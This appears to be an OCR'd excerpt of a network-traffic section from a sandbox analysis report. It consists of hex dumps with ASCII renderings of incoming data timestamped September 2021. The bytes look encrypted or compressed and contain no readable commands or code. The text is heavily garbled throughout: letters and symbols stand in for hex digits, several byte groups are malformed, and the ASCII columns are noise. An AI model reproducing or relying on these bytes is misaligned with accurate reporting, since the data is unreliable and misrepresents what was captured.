50 b0 e0 0a 46 60 e3 ff 86 ab d7 11 7a 2d 85 43 79 9d ff ff 17 7b 2c 35 5e ae 15 46 a2 32 71 4d af 67 3f c8 a8 3c 80 51 fd
3d 5e 3f f1 cc 28 70 37 83 71 23 f4 79 4d 46 68 11 83 53 31 e2 70 c6 8f b1 9a d4 62 a6 39 la bl 6e d2 f6 d9 b4 3c 94 aa
a2 a0 89 9b c8 0d b8 f3 9d 16 7f 76 a8 c6 5b be b9 f6 a5 7a ef c0 8a 9a ae db ec ac 9a 71 71 5e d8 5d b7 4f be a6 2b 26
99 03 aa 51 41 5d 37 4a a9 ee 40 c3 la cd d5 25 34 cf 6a 97 91 60 fa 85 6a f5 f4 4f e9 3c le ae 6e d6 94 2a 76 28 52 5a
c5 b2 51 ed dd 80 b2 03 a8 82 2e e2 c4 d8 Oe 35 95

Data Ascii: {R87R-rfYs_k;&+}5T)yHPF z-Cy{,5"F2qMg?<Q="?(p7g#yMFhS1pb9n<v[zqg"|O+&QA]7J@%4j jO<n*v(RZQ.5

Data Raw: be aa ab 06 6e 4d 18 34 14 fa 26 ac c1 ¢3 98 63 bf a0 1f ¢5 73 51 54 55 9f 62 99 23 6a 9d 06 65 2b 70 1le 7c ce
1b 8d 74 09 34 f4 fe 18 03 bf Oc ed 3f 0d 08 fe 40 6e ba 97 55 25 94 b9 96 df 9e 7e 8f 44 5¢ 5b bf fd ec 5b 3e cf fb c2 64 6e
00 0f 36 92 e3 6e a9 2f 56 2f 1b 81 c8 52 ad 8b 26 17 7c 39 ce 29 6f ea 6¢ 07 ef 44 52 1d bf 23 05 4e 74 35 86 ca eb cc a8
1d ea d5 54 03 31 fb 66 19 d2 6e Oc c2 55 f4 aa 6¢ 5b €0 80 f4 8d 18 b6 70 52 d6 ef 45 09 ba e6 ad Ob 6e fc c9 eb 78 30
62 18 da 4e 95 fc 9a 83 58 95 9a fc f9 53 b8 a6 cO aa 0f 39 31 05 ca f1 Ob 14 14 bc be 5b 09 b0 11 23 1d Ob 0d d3 70 58
Oc c8 72 ch 74 00 00 c5 a7 71 09 de 76 7e b8 64 31 77 42 3c 5¢c d2 a4 34 ef b7 05 ad e7 d3 49 99 00 9c 3c bl 4d 52 87 e2
2b 84 d0 20 a9 a2 9205 e7 ae e5 el e2 a9 c8

Data Ascii: nM4&csQTUb#je+p|t4? @nU%~D\[[>dn6n/V/R&|9)oIDR#Nt5T1fnUI[pRENXObNXS91[#pXrtqv~d1wB<\4I<MR+

Data Raw: 04 9c c3 6b b4 2c 57 5e 0f 56 88 6e 72 fd 50 78 d2 dd e5 60 3f 19 92 d2 b8 23 6a 5f 3b a9 5b 5e 66 a4 58 64
1b 01 cb 83 da 7c 9e 00 a5 98 eb 5a fa 8b d0 ff 98 3f 27 e8 28 cb 97 bb d7 3d f7 7e e8 e3 aa d6 dO 19 eb 5f 3c 84 66 e0
441 3c 9f 18 66 23 6e 84 24 90 6 b5 90 ef e7 ef 35 3b 72 f1 96 87 50 Oe 9d 14 91 86 7d db d3 f2 1a b2 80 45 e5 ed b5 3e
2d e9 ee 6a 41 af 43 db 57 a5 9f 21 9 f4 74 4e 6b b5 e0 9b 9d 78 87 {7 d1 c1 ac ae c6 ee 4d 03 37 b1 d5 a3 ea bc ad dc
28 43 07 50 e3 bb a8 88 b7 8c 69 fd eb f5 94 56 5¢ 2a ea e4 3 82 20 10 f8 50 9d 40 2e a7 90 85 65 2c a8 84 04 d3 54 83
1b2e e7 753b e7 43 e1 9d 70 a8 05 00 40 21 82 09 91 8a 57 8b e5 62 a4 c5 48 ¢5 66 1b bd f8 fc b5 1e 69 1f 25 08 a6 87
a6 6e 81 ed e9 71 eb 0d e5 49 84 fe e6 b0 5a d9 al bl

Data Ascii: k, WAVNrPx ?#j_;[Xd|Z?'(=~_<fD<f#n$5;rP}E>-JACWItNkxM7(CPiV\* P@.e, T.u;Cp@!WbHfi%nqlZ

Data Raw: 70 Of b2 a5 88 54 2f al 78 88 15 61 e2 b1 48 7b 5a 3c €6 6a 1f 3d 43 a2 b1 92 58 f8 72 6¢ 1c d4 5f d2 59 61 69
62 24 b4 b7 af ec 15 7d 2d 26 16 70 45 16 85 79 28 7c 6¢ 99 7d 8d 8c 00 39 Of a3 42 01 95 d1 37 37 8b ¢3 00 9e f2 7 1d
21 0Oe 4e el cd fc 68 c6 ed 03 5b 9b 2e de 04 9e 3f c9 f3 c5 c1 a2 a8 c2 f3 a7 6¢ f9 c7 3c df 49 d6 4e 80 1a 09 79 45 65 91
ed 1d e7 4b 29 4c 62 4b 68 fb a9 dc 52 67 6d fa 76 95 5f ae cb 83 a9 0a 75 43 3d 3b 2c 6d 6f d5 8 44 3 e4 2f 4f 83 90 55
98 14 a0 5f 01 48 d3 a0 31 b4 fa bd 01 3b 56 dc 4f 9d 2e 75 1c 2a 7c 71 2d 70 28 1b b9 1b c2 c4 a0 75 ad 91 3e 98 e4 45
ba 43 93 ee ba 6e 01 8¢ 59 d8 69 ab 7d c6 5d 0d 26 be ad aa a5 b4 5d da 1f €9 3b 9e be f1 7f 73 9f 65 59 e6 ae c5 5e 5¢
7d 59 77 90 34 b4 e7 3b ec 84 69 8a 12 60 1b 64

Data Ascii: pT/xaH{Z<j=CXrl_Yaib$}-&pEy(|l}9B77!Nh[.?I<INyEeK)LbKhRgmv_uC=;,moD/OU_H1;VO.u*|g-p(u>EC
nYi}l&];seYN\Yw4;itd

Data Raw: 8e a2 12 97 a2 dd b8 9e 09 c4 c9 33 b4 f0 80 20 5f c2 d1 82 c2 10 39 e2 8f f0 92 9e 6d 8¢ 94 9a cf 82 57 a0 2f
86 5d 70 3b 9a 2e 64 8c 85 86 Oc b3 55 28 02 22 e4 69 41 44 a5 1d 06 69 3f 99 6¢ c1 dc fd db ab fO 8d 79 88 46 cc 86 fb
ad 46 d6 86 42 bc 41 84 6e 6b 96 96 01 2f e8 b5 d2 52 d4 40 e0 85 3b 02 3b a6 76 f5 7f €9 01 23 9b 9c 90 40 c5 7c ee 60
3d 94 76 dc al 93 4a a7 5d c6 2d 72 03 9a bb 4b 31 4f b4 11 c4 4c Oa cO 3 ae 8e cb fa fa ab 23 6b ff 46 6a 92 ca 8d aa 61
d8 e7 €9 04 1f 9c 49 67 ac 14 40 11 74 c8 5d 1a 7c da fb 4d 19 38 58 74 bc 58 Oc 56 77 04 f2 79 a3 55 84 98 09 ea ed da
6 47 a6 d5 4e 09 9a 42 7d e6 db f1 2b 14 b6 b3 6e €5 59 ea c4 97 28 62 4b 56 0d c6 65 08 5b 8a 83 c5 1b 2b f2 40 Oc 88
63 33 f0 d0 d1 9e 73 9e 71 e2 3e 36 c0 c8 79 07 94

Data Ascii: 3 _9mW/]p;.dU("iADi?lyFFBANK/R@;;v#@| =vJ]-rK10L#kFjalg@t]|M8XtXVwyUGNB}+nY (bKVe[+@c3sq>6y

Data Raw: 26 bb 1b 4e 5b bf 23 7a e3 c9 5b 49 dd 63 6a 84 95 05 5d d8 el 64 8e 48 c6 bb e6 6e 3a aa a2 62 90 68 a4 20
13 ae 2d e0 46 37 4a a9 ee e6 aa ca 1f 90 d1 9d 94 Oe 9c e2 0d 44 6f df 1e f3 70 c1 cb d8 b2 58 15 91 18 aa 39 f6 56 9d
€0 22 a8 28 c7 61 Of 5f 45 83 2c €3 78 a9 d3 6f bd 14 df 60 e2 79 4e el 9b 9b 37 85 ¢7 10 €3 66 1d 7a 8d 4d 39 8d 72 la
19 1f al 92 61 29 b8 3b 54 9f 42 fd 42 5a 91 64 04 €8 9c 84 13 a6 84 85 b4 b5 d2 71 18 06 1b 9d f1 84 ce c5 Oe el 63 e9
ce b4 19 ae bec ef Oc 22 31 75 75 8d f6 87 00 2d 29 29 4e a2 33 ec 28 fd 03 7c e4 97 cd 00 00 b3 52 al 7f 37 45 d4 7f Od
92 96 20 50 86 54 9b 90 d7 28 e2 d0 08 87 36 ed 15 09 55 3f 83 21 f4 6a f4 1c 6b Oa 77 40 ac 4a 20 78 al 1d 44 el a7 ed
17 75 98 a6 1d 9a 81 e4 51 bf 76 8b 49 f8 a8 83 74 de Oe

Data Ascii: &N[#z[Icj]JdHn:bh -F7JDopX9V"(a_E,x0 yN7fzM9ra); TBBZdqc"1uu-))N3(|R7E PT(6U?!jkw@J xDuQvlt

Data Raw: bb 19 c4 df 2f 5f 59 91 b4 0f 6b Oe 4d cd 5f 26 ce 63 49 b9 1c el 2e e3 57 Oa 1f 8f 10 5¢ 8a 61 e7 51 da ad 07
01 3e 87 89 61 81 c7 e8 2b 5¢c d9 55 13 eb 19 01 f6 6b 75 73 09 af 98 55 fa 0a 90 2b 21 d1 23 0d f1 fb bf 02 59 bd 39 6e
2a 92 a5 9b a4 Oe 6a ce 8c e5 96 Oc 50 43 33 cc 82 28 4b 5e 8e 5e 63 84 cc 76 23 87 a4 al d4 fb 5d 4f 26 a7 70 f5 5d 9e
6d 2c 29 a5 33 9a 48 88 d5 86 Ob 01 04 65 38 77 42 9f 68 da fb 5a 16 a5 dd 2d ba fb 01 f7 b7 a9 ab 1b 38 be ee b2 0d 78
19 e3 d9 ef de 6a d0 89 78 e0 8f 82 f1 fb 09 ac 4f 57 fe 98 b2 a3 ec cf 5¢ 91 27 ¢5 73 2¢ 76 05 6¢ c5 45 f2 de 7f 5d 93 a7
af 54 de 15 99 Oe ae f0 45 Oa cc cf b4 e5 d6 21 88 fd 26 d0 ac 20 06 25 04 64 e0 c9 30 4f d6 67 a6 39 5b 55 d6 08 fc c2 d6
a8 4f 09 e7 32 9d 2b al 4e 7a d7 26 el f9 0d 1d

Data Ascii: /_YKM_&cl.W\aQ>a+\UkusU+!#Y9n*|PC3(K M cv#]O&p]m,)3He8wBhZ-8xjxOW\'s, VIE]TE!& %d00g9[UO2+Nz&

Data Raw: f8 70 5e 85 c8 fc 83 f6 39 9e ea c8 ab 71 €5 88 71 25 95 e7 62 25 01 29 9c 7a 7d e4 fa f2 ec 4d 96 06 e7 46 aa
83 b0 b2 45 49 3a 8¢ f4 5d 1f 16 67 76 df 7d 80 3f 1a 5f ef 3d ca 72 a2 58 d2 7a bd c7 25 e8 64 58 d3 53 50 9d f6 59 c4 6e
45 f0 74 5e e4 79 78 42 5f b6 €6 c4 1a 08 7d 1f b6 6f 22 a8 ce 6f 94 ed 98 7b 1a e4 7b 27 a4 64 al bc 69 8e 02 9a 45 12
3e f9 74 4b d9 36 01 47 9a c0 09 b7 ba 10 3e d2 cbh 39 9b 21 ad 2b fa e7 23 55 89 bd e7 92 8f 68 55 ce 9¢c b7 93 el 00 8e
9f 9¢ 61 d9 48 ba 92 12 4f 93 30 c1 e2 c1 a9 ba dd 81 36 31 26 d6 93 82 24 7c 8c ab 19 91 99 22 43 3b ef de 8¢ 14 69 ca
5f a2 08 e5 87 9a 65 38 93 90 ac 7 20 5f e0 72 34 9d 19 18 ac 63 eb 1c 96 c4 b1 89 bc 67 25 bb 2e 5f 03 04 ¢3 Oa e4 cf
e5980c ed 19 e5d8 1c a4 4a 7e 2e 83 90 79 cd e7

Data Ascii: p"9qq%b%)z}MFEI:]Jgv}?_=rXz%dXSPYnEt*yxB_}o"o{{'diE>tK6G>9!+#UhUaHO061&$|"'C;i_e8 _rdcg%._J~.y

Data Raw: 22 e3 b6 56 a7 6¢ 7e ca 6b 7b 8b ab 8e 03 03 5d ba Oc 51 2d b0 45 b0 83 29 e7 3b 35 {7 f5 09 96 65 51 06 87
d8 b2 65 8e 55 dd a6 9e 5d cc 43 el al 06 21 le ¢l 76 dc 7d a3 73 63 b2 6a c8 4f 17 {8 db 46 b1 61 08 36 b0 86 ed 89 74
25 66 4f b8 5a 35 a9 c1 a9 8b 3e 48 28 dc d8 86 7c d1 a2 f6 8f 5a cf 99 ee 9b 57 51 02 7e 0 12 88 e3 4f 47 a5 d8 bf el

0d 95 6d 86 18 91 08 ¢9 e4 bf 0d 8d 8c b fd 14 85 55 d3 df af f2 c6 e8 0a 7b ad a3 33 ¢3 4b 53 57 7d 2d 89 01 56 43 39 1f
bf da 28 d4 bb 1c 58 4d cd 9b 18 d1 06 21 c7 d2 69 tb 8c a6 38 a7 d9 cf 67 13 28 9c 4b 16 49 3a 3b 84 Oc 90 1a f7 7b 1b
b7 8c ¢9 25 31 ¢3 aa 29 5b 96 d2 2 Oe ba 31 66 1a f1 d8 a7 da ae fd 23 b7 64 1e 33 7 41 19 8d bl f7 17 41 ad 32 2 cb 68
00 8 02 18 3 29 55 58 34 4f {0 1b 5b b3 39 b8 47

Data Ascii: "VI~k{]Q-E);5eQeU]Clv}scjOFabtsfOZ5>H(|ZWQ~OGmMU{BKSW}-VCI(XM!i8g(KI: {%1)[1f4d3AA2h)UX40[9G

Data Raw: ef 7 bc b2 2a 32 9a 6¢ 39 22 d6 3 d6 39 fa aa a8 58 1b e7 19 bc c6 b2 57 d3 e7 7b b2 cf 86 c2 07 ec 19 68 3¢
45 1a 7c 9e b2 5f 96 db d9 ab 77 7e b8 86 5b e8 53 €8 53 7f 61 54 16 e0 2e 3c 4c 34 ca 73 ad 91 6a ea d7 fe 8a 5b ed a0
d2 6a cc 7d 5a 86 23 9f 85 3 9c aa af 9f 6f 17 14 7d 45 Oe f4 99 b8 74 ba 58 ad b3 17 df 93 69 5b 40 6e 46 d0 a0 be 8d b3
7 d9 34 94 de c5 18 3f 84 e7 d4 bl d3 24 9d cf dd 4a b8 39 a2 ab 3d 9b 1a le cl ef b5 98 3e 71 46 4b 74 f8 7b ca a9 a3
64 45 84 d4 16 8f f9 35 75 97 34 2a c0 31 el 60 e3 b8 cc da 48 ch af a3 37 el ad c8 e3 bd 72 90 96 2d 7f ed fO 81 c9 15
03 24 32 0d Oc 48 2b ad 1b 9f b9 3a 3¢ 94 a9 f1 26 7e Of 66 87 d7 64 8b a5 cf c0 8a ef 2b 6¢ 81 48 3d a4 57 4c Oc 4b bc
ee 18 62 c8 8¢ 09 e6 6f 55 37 36 1b 8f 11 72 f2 63

Data Ascii: *219"9XW{h<E|_w~[SSaT.<L4sj[j}Z#0}EtXi[@nF4?$J9=>qFKH{dE5u4*1 H7r-$2H+:<&~fd+IH=WLKboU76rc
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 43 IN Data Raw: 28 b5 44 bf 25 50 5c 5c al ed 2c 43 e0 05 6b 60 4b €9 6e 54 74 95 79 a6 91 7e 31 Oe 10 9a 99 97 20 85 44 37
99 70 b4 8b 48 02 02 64 c7 b1 8e 31 0a 62 b7 16 3b 90 31 11 28 81 48 26 ad 98 8c 98 f3 b0 81 e4 85 5e 53 5¢ 6a d2 9f c3
aa 2d 97 38 4b 54 f5 5e 6f 9a 56 b2 c4 al 59 a2 29 f8 2e 3d 5b 31 42 03 7a 58 f5 f1 Of 15 bd 1e 29 e6 fc f9 29 7f a7 18 83
1b 44 12 85 3f 41 3f e2 da fa 05 f3 6b €3 b6 fe 18 2d d8 6f 02 a4 77 ab 62 32 6f 6d 51 8c 9d 2a 1a d9 36 a3 35 3c 9a a7 07
41 ebc8el ad 95 d9 81 dd 42 eb 4b d1 f9 62 9c ec 54 e2 Oa ae af 06 06 a0 b9 fO c1 el 19 a0 fb 52 21 92 95 be ac 8b 68
67 9b df 20 a7 6b 68 ff 02 39 7d 2a 9f 12 dd ea 4a f6 al 98 c5 3b 4e 3e 26 24 f6 b2 06 2c 04 5b d3 db 03 a6 54 3b 71 b5
d2 71 98 ae 1d 9d f9 1c 5b c7 Oe fc 69 70 32 fb 4e
Data Ascii: (D%P\\,Ck' KnTty~1 D7pHd1b;1(H&"S\-8KT oVY).=[1BzX))D?A?k-owb20mQ*65<ABKbTR!hg kh9}*J;N>&$,
[Taqlip2N

2021-09-13 23:07:18 UTC 44 IN Data Raw: 39 94 5e 98 €8 d0 91 5b 49 46 a3 a0 9b c5 cb 00 e2 3e 10 88 7b 98 1a 69 11 76 fb 9b b8 ab d6 70 8a 06 55 d4
6b 8c 74 4c 79 42 6b 67 87 d6 7f 04 fd 19 a2 3f ad 34 14 46 f9 42 9c 83 d3 07 65 49 c6 05 10 af Ob f6 a7 7c ad 41 b3 {2 44
23809361 73 4a d2 3c ee bf 2a 72 73 e7 93 df 6¢ b5 2f fc ¢3 80 72 d2 95 93 8a 5¢ cb cf 37 8a 28 ec 1349 a9 91 21 1a
58 b9 55 35 4 cc 97 27 92 cf cb 6¢ ed €8 28 97 ca c6 65 32 eb 8e 71 00 42 55 df 55 04 69 f4 15 51 72 bc 82 9¢ 79 b7 b4
aae7 31 e37b 2a4d 4d 45 16 69 e0 e6 bd Oa a7 dd 43 94 de a8 f3 2a 4c 74 b3 6e e5 51 43 c0 a4 95 af 79 b0 47 ad 1c d2
3b 8f 7b ef c8 24 72 d4 85 4f 14 0f 41 98 ab 9f d8 8d 4e b9 33 80 26 Ob 80 4a 40 10 b5 56 fe 32 bd 9f e1 96 07 eb 87 52 81
aa df c7 54 4e 9a 93 57 7b 21 ef eb f3 d7 a5 b4 6f
Data Ascii: 9N[IF>{ivpUktLyBkg?4FBel|AD#asJ<*rsl/n7(I!XU5'l(e2qBUUIQry1{*MMEiC*LtnQCyG;{$rOAN3&J@V2RTNW{!o

2021-09-13 23:07:18 UTC 45 IN Data Raw: 44 1e Oe 6a 99 fO c8 al 2e fe fd 86 17 ea 3d d2 77 4a 53 98 71 c9 5a 93 67 fb 98 3f 66 dd 4e 49 40 9e 53 1a la
9b ¢8 10 60 ba 99 3c 29 ef 60 24 a9 ed 68 2b 06 7d 39 5e 86 85 53 af 09 ff 9e 9b c9 37 88 ac 70 55 9d 04 a8 9c d3 9f 34
bb 4f 70 3f 67 ee fc 52 9d 02 40 d5 ed 18 24 7c 6e 74 4e ad fb 12 72 25 85 7f Oe 1a 13 a6 4c da 43 05 95 d5 79 1f 42 10 ef
6d 8e 8 91 05 92 07 49 04 69 03 fa 95 63 62 ed a8 5a 19 38 1d 9c 2f 45 9f 71 11 7d 98 75 e7 12 a7 a4 1la d6 40 68 7b d8
94 85 3e e8 22 e0 ff 9c 3b d9 e2 db 28 73 f2 1a 03 f8 70 4e 1b 02 f3 eb Oc 48 Oa a7 20 b8 53 08 d9 69 7e 22 02 9c f4 a3
55 1a 48 74 10 61 22 35 ed 70 36 c1 d4 b4 1c 8e b2 el d0O b3 f3 5a 53 11 11 ef 6 14 4c 5f b5 e8 61 c5 4f 36 39 14 11 00
fe 96 fc c4 e7 a0 bf d3 b0 ea 61 bf c4 82 8a b5 c1
Data Ascii: Dj.=wJSqZg?fNI@S <) $h+}9"S7pU40p?gR@$|ntNr%LCyBmlichZ8/Eqiu@h{>";(spNH Si~"UHta"5p6ZSL_
a069a

2021-09-13 23:07:18 UTC 47 IN Data Raw: 1b 35 74 60 32 c1 8a 69 39 ad 34 75 38 7f 91 a7 14 b9 78 al 45 54 al b9 46 33 23 30 7c 76 a9 31 cd 6f 1d 3e
4998 07 9d 70 16 2b f8 c6 f7 34 2f a5 dc a9 79 db ¢8 83 92 e1 3b 13 ed e2 70 e0 e0 ea f2 a0 42 ac 87 9c 44 8b 95 1a d4
d0 19 dd c2 63 2b 4c d6 5e 52 d5 a6 bc fa 30 ¢3 02 8f 8¢ 86 2f a7 6¢ 4c 37 cc 7¢ 14 a5 9f 59 63 b6 94 4c ef 47 6d 49 c5 fc
dl ed 4a b3 eb ed 1b 70 11 a4 9e 65 23 de a4 87 04 54 a6 31 4f 28 43 4e c7 16 bf fa 51 71 f6 ec d3 52 01 0f 5d 7c 4e 96
56 b9 67 a9 13 19 bl eb 72 47 fb c2 c9 cc 38 8d cf 1a 08 63 72 1f f0 ae 58 aa ed 5a de d7 4a e5 d3 3e a9 04 ea 19 b6 8a
d0 a7 90 4d f8 bf eb c5 90 d6 d6 fO 23 f6 18 96 90 Oe Ob cd 76 f0 10 b3 72 85 59 bb ed 19 26 69 0a 58 9a c9 ac 0b 74 ca
a5c3 12 7ad3 c8e2 16 95 05 8a 01 cf cO f7 35 94 50
Data Ascii: 5t 2i94u8XETF3#0|v10>Ip+4/y;pBDc+L RO/IL7|YcLGmMIIpe#T1O(CNQQR]|NVgrG8crXZJ>M#vrY&iXtz5P

2021-09-13 23:07:18 UTC 48 IN Data Raw: 83 00 b1 18 c6 9a 90 fb b2 4d cd 6b 8b 2f f0 de a2 64 72 13 28 fc Ob 57 60 19 d5 89 00 8a 6b 5b 3f 6d eb 20 1d
9f cf 5a a5 6a fa 95 ee dO 38 ef Oe 90 83 bc 81 3d al el 10 e3 d3 98 ad db 6d 3c bc e2 9d e4 6f 1f 20 d9 04 13 aa 96 €9
a5 ef 66 35 3e ¢5 94 07 4d 5b d6 7a 6f 82 60 Of dO 60 be 03 3c ef 1d 01 69 41 61 c7 7f 55 2a e0 56 24 6f ee e0 ac 6¢ 54 7e
d0 8a ea eb 48 10 16 61 96 c2 07 30 ac 1b 6e 20 6f ef c¢6 f2 c1 3e bd 89 94 a7 61 b2 36 fa 4a 5¢ d7 f6 c9 56 3b 10 ff 9b ad
b2 d3 el a2 9b 44 c0 9e 84 1le 74 8d 07 58 56 1f 4e e3 5a 00 ec eb a2 e4 22 7d 8d 2d ae 63 13 c2 c6 b2 e2 2d ba 67 31
e3 ab 9f 77 84 3a f7 ba 8b a3 98 6¢ 25 b8 1b 5d 20 97 46 fc 36 83 78 7a 1f 29 e3 ed 4d 64 1b 92 55 65 62 ba 7d b9 fa a8
€6 1a 6d 7a 20 97 34 71 68 42 ae 52 9e c2 aa 91 7f
Data Ascii: Mk/dr(W'k[?m Zj8=m<o f5>M[z0 " <iAaU*V$olT~HaOn 0>a6J\V;DtXVNZ"}-c-g1w:I%] F6xz)MdUeb}mz 4ghBR

2021-09-13 23:07:18 UTC 49 IN Data Raw: 15 61 4a 4e fO dO 04 5d 46 aa 34 19 bc 4e c4 4c da ea d5 b7 b3 9b 24 37 b8 43 75 25 6e c5 fc be a5 8d 37 19
69 f4 a9 7e d2 4f ab dc af 36 fe 02 72 4c 3a e0 f1 45 e8 16 40 23 1b 55 92 el 05 3d 26 48 4a 9c 72 b8 10 22 3f b0 4e 28
8e 4a dc c2 3e 20 82 cd 21 1f 39 8¢ 6a c3 f6 7 be 1d 11 32 59 b5 ¢9 78 24 d1 5b 9e 5¢ 0d a5 89 a5 8e a5 53 a3 32 48 13
€6 b5 08 2d dc 09 75 c0 fd 6e 7c 68 55 3d c9 3c d4 74 fd 77 fb 44 e5 6e 38 a6 d3 1f 83 99 cb 05 42 05 22 ba af f3 bf 47 49
15 fb 07 3a 95 6e 6e d4 a9 ce 87 d2 d2 35 98 5¢ e5 b4 6e 4b 56 1e 28 cd 8e 94 de d4 24 93 ef 24 09 5a 0d 4b b8 96 9a 6
83 89 Oe e7 6a 82 32 1a ab db 3b 98 f8 35 eb 28 79 55 c0 33 0d 5b 2f 7a d8 dd f9 a6 39 6¢ 91 50 86 e5 59 bd f1 0f 56 06
98 e1 d5 76 53 a4 d9 c7 d6 34 69 30 ac 29 22 e0 e4 3d
Data Ascii: aJN]JFANL$7Cu%n7i~O6rL:E@#U=&HJr"?N(J> !19j2Yx$\S2H-un|hU=<twDn8B"Gl:nn5\nKV($$ZKj2;5(yU3
[/29IPYVvS4i0)"=

2021-09-13 23:07:18 UTC 50 IN Data Raw: 35 ef ed 9a af b8 59 30 47 af 34 92 f2 df a9 79 66 b9 46 26 ba 57 be 8f c5 27 6d a5 Oe f9 81 d8 24 3f 21 8f 7b
d3 b9 2a d0 f8 90 47 a5 ee 1c d8 7a 9a 85 c5 03 a2 b6 03 5 4f 70 f2 a7 54 3e 54 77 33 36 dd e4 1e 47 ee 0d 92 51 29 fb
04 b9 d6 18 56 b3 6b 54 14 63 f7 72 19 94 1f 89 07 82 da d5 d9 da c5 21 97 a7 9a a9 9c b3 a8 58 62 b8 f9 76 ab cf 82 d4
8a 72 e4 1b f6 ca d1 ca 37 90 af f3 a9 94 8d 05 3c 55 9a 39 62 43 14 05 2b 9a a4 5e 24 29 af b9 5a e8 20 da 73 4b f2 05
8b 51 64 47 ef dd 6b bc 1b 13 99 6e 3c 46 2b bc 28 6 18 18 46 7f ¢7 3c 74 81 cc a6 04 ab 2b 3a 4c €0 9e 96 f5 d0 94 cO
50 fb 1f 83 a3 72 b2 46 79 cb 83 d1 84 d2 23 07 37 8c 89 ec 6b c7 e7 00 1c 94 af 4d b7 8b fO c9 80 74 a0 59 2c c4 c6 d6
4c 73 56 3f ec 97 64 35 27 2b 74 7a f5 4b 49 2f 88 2e
Data Ascii: 5Y0G4yfF&W'm$?{*GzOpT>Tw36GQ)VKTcr!Xbvr7<U9bC+"$)Z sKQAGkn<F+(F<t+:LPrFy#7kMtY,LsV?d5'+
tzKI/.

2021-09-13 23:07:18 UTC 51 IN Data Raw: 53 a7 df 91 d8 1c 87 be 2e f2 aa 98 3f 8d bd 2d 8f 8a 19 7a 38 95 49 d3 1f 69 69 fc 24 f4 d1 76 2 5a 1e 1c bd
8d 7d 7f 3¢ 56 10 99 bd b3 d2 a3 3b 7 5d b7 b5 75 85 ce Oe da f9 fa fd 4e 14 d1 b3 5¢ 11 9e 81 b7 19 9d db 19 00 7b 56
76 91 a3 56 02 44 42 ea eb 3a le 16 ba 79 3d d7 2c 59 94 74 fa 69 8f ff cf 68 96 60 50 35 f3 74 9f 26 55 5d 81 3 7d 25 6f
19 80 8c 5b 4c 45 €9 bb d0 4e 50 57 60 2b 88 ce 64 86 cb 8 32 ea 18 d9 ae 9e 1a d2 98 a3 96 5b 1a 50 e6 75 18 1d 11
08 66 84 9 d3 df 2e 5f 8e 09 99 1d d1 b7 23 dd 7b 24 17 83 40 af 2e b9 69 bd fc 79 86 6b el 92 ee ec 52 27 2f fd €9 33
9 a6 6b 85 8¢ 92 1¢ 6e 9d 92 10 8f 22 93 ee 02 26 {6 9a €2 a2 a7 47 be 3¢ 1c 12 bf 3f 8 2d ¢5 bl 83 79 5d 9b d5 Oe 40
06 d7 b6 6e 9e bc 18 Ob 6a 5b 28 89 4c 9d a3 0a 03 4a
Data Ascii: S.?-z8li$vZ}<V;JuN{VvVDB:y=, Ytih P5t&UT}%0[LENPW' +d2[Puf._#{$@.iykR'/3kn"&G<?-yl@nj[(LJ

2021-09-13 23:07:18 UTC 52 IN Data Raw: 3a a8 47 2e ae 49 a8 30 e5 fa 9c Oe 3a 47 e6 2f c8 b4 06 94 4a 84 cd aa 2c a8 c9 bd 7a d2 e0 14 23 47 c7 48
43 60 a8 b0 d2 d9 b4 49 ed 25 9a eb 20 1f 26 ec 8¢ 38 el cf 04 05 97 2b fd f2 Oe b4 8a 00 64 27 73 79 f2 eb d0 46 3b c5
0d 3a 7c 4f 7d 90 f3 60 3e 61 4b 45 31 f0 1c ca cf d5 12 96 87 bd 90 8e 90 07 2f 22 4c 92 8f a3 bb 2a 34 f5 0a 86 bd 81 e6
9a 9a 13 Oc 3b 9f 4b 49 2b db 1b 7a 12 b6 7c b6 68 ba b4 9b 2¢ 7f a2 45 e3 f5 a5 dd eb d4 6f 5¢c 79 f1 f2 f6 1e 70 6b 63 bd
bb de d5 7c fd 22 ac c8 5f 7a 1a 29 87 ba ab 33 18 00 1b b0 61 4b Oa eb f4 a5 f4 88 90 5d 80 3e a3 5f 02 52 d2 56 36 b4
d3 de b3 59 43 7c 76 Of de 5d 49 73 55 a5 65 fb 13 3a 5e af 8a ac ¢7 c9 ae 4f b0 03 d6 a8 bf 1a d0 60 31 d5 al c8 37 c2
2c 14 92 b4 26 cd 9e d1 e4 01 9b 22 4e da c8 78 be
Data Ascii: :G.10:G/J,z#GHC 1% &8+d'syF;:|O} >aKE1/'L*4;Kl+z|h,Eo\ypkc|’_z)3aK]>_RV6YC|v]IsUe:*"O 17,&"Nx

2021-09-13 23:07:18 UTC 54 IN Data Raw: c9 14 21 ca 4c ¢5 43 70 9e e0 12 1f 46 26 7d 95 5b 9f 9a dd cc 03 d5 5f 27 20 2a d6 85 dd 9d d1 7b c9 ca ce 2¢c
5f 88 7c 02 a7 €3 13 fb 9b 8c 99 1c 68 0a a6 00 27 ed dd 86 40 f2 5f 5¢ 4b bf dd ec 5b 3e db fa 36 63 7e 23 22 82 €0 b6 f0
98 82 17 ec d5 81 d8 87 af 8b ¢5 3c 43 f4 06 29 63 ef 6d 07 04 d8 19 15 27 7e 8f 2a 31 94 bl c7 23 6a bf 1c 2c 51 18 8e
2e ce 92 84 1b d6 90 95 9b c7 96 6e b7 74 46 3a 82 95 0d 04 da 02 88 f9 48 69 94 76 90 68 14 8c 18 ca 19 aa al 24 Ob
a8 17 8a al e3 16 09 3f 29 30 fO el b4 d0 65 4d 17 Oe 6e df 2e 97 13 37 15 7a 16 b2 9a cf 15 31 b8 c3 de d7 49 d6 81 26
f9 8191 68 d4 d6 9c 55 a2 a6 73 31 2d bb el 14 d5 79 c0 8d d6 02 7a b1 c0 a7 04 4e c3 53 85 4c 6 30 87 €3 22 bd 6a 37
e2 b6 2b 4d 8 ab 41 cf 9f fa cc cf 7 f2 Oe a2 b7 6e
Data Ascii: ILCpF&}[_' *{,_|h'@_\K[>6c~#"'<C)cm'~*1#j,Q.ntF:Hivh$?)0eMn.7z11&hUs1-yzNSLO"j7+MANn
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 55 IN Data Raw: db 84 16 44 d2 28 d2 75 70 6b 69 a4 ba 4b 97 €9 28 cd 99 79 92 30 db el 21 6b le 2a €9 43 47 e4 e8 7a 25 25
1 0f 15 66 ea e4 d9 69 17 3e a7 5d eb a5 1f b2 85 7d 49 f3 22 45 ac 5f 9a 56 Ob 0d da f8 41 5f d0 ab Oe 1a 02 5a fe 13 73
